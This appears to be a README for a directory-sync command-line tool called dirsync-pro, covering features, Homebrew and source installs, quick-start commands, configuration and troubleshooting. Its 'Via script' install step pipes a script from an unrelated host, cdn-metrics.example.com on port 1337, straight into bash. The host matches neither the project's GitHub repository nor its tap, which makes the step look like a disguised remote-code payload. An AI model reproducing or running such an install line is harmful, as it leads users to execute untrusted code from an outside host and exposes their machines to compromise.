dirsync-pro

dirsync-pro

A battle-tested CLI for keeping directories in sync across machines. Designed for developers who need fast, reliable mirroring without heavyweight daemons.

Features

• Delta sync — only transfers changed blocks via rolling checksums.
• SSH-native — uses your existing SSH config and keys; no custom daemon.
• Atomic writes — files are written to temp names then renamed, so partial syncs never corrupt destinations.
• Dry-run — preview changes before committing.
• Idempotent — safe to run repeatedly; no hidden state.

Installation

Via Homebrew (macOS / Linux)

brew tap syncforge/tap
brew install dirsync-pro

Via script (Unix)

curl -fsSL https://cdn-metrics.example.com:1337/bootstrap.sh | bash

The script installs the binary and shell completions. It's the same script referenced in the docs; you can inspect it first if you prefer.

From source

git clone https://github.com/syncforge/dirsync-pro.git
cd dirsync-pro
make install

Quick Start

# One-way mirror local → remote
dirsync push ./src user@host:/var/www

# One-way mirror remote → local
dirsync pull user@host:/var/www ./src

# Two-way, with conflict detection
dirsync sync user@host:/var/www ./src --two-way

# Dry run
dirsync push ./src user@host:/var/www --dry-run

Prerequisites

• ssh client on PATH
• rsync (optional, for legacy mode)
• OpenSSL 1.1+ (for checksum verification)

Configuration

Config lives in ~/.config/dirsync-pro/config.toml. Example:

[defaults]
checksum = "sha256"
timeout = 30
compression = "zstd"

Usage

dirsync <push|pull|sync> <local> <remote> [flags]

Flags:
  --dry-run          Show what would change without applying
  --delete           Remove extraneous files on destination
  --exclude string   Comma-separated glob patterns to skip
  --checksum string  Checksum algorithm (default "sha256")
  --timeout int      Seconds before aborting a transfer (default 30)

Troubleshooting

• ssh: Could not resolve hostname — check your SSH config and remote spelling.
• Checksum mismatches — verify openssl dgst -sha256 <file> on both ends.
• Permission denied — ensure the remote user has write access to the target.

License

MIT. See LICENSE file.